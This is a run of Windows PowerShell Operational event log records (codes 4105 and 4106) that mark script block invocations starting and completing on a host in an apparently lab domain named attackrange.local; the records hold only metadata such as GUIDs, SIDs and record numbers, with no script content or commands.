OpCode=On create calls
RecordNumber=2044906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044891
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044890
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044889
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044888
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044872
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044871
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044866
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044865
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
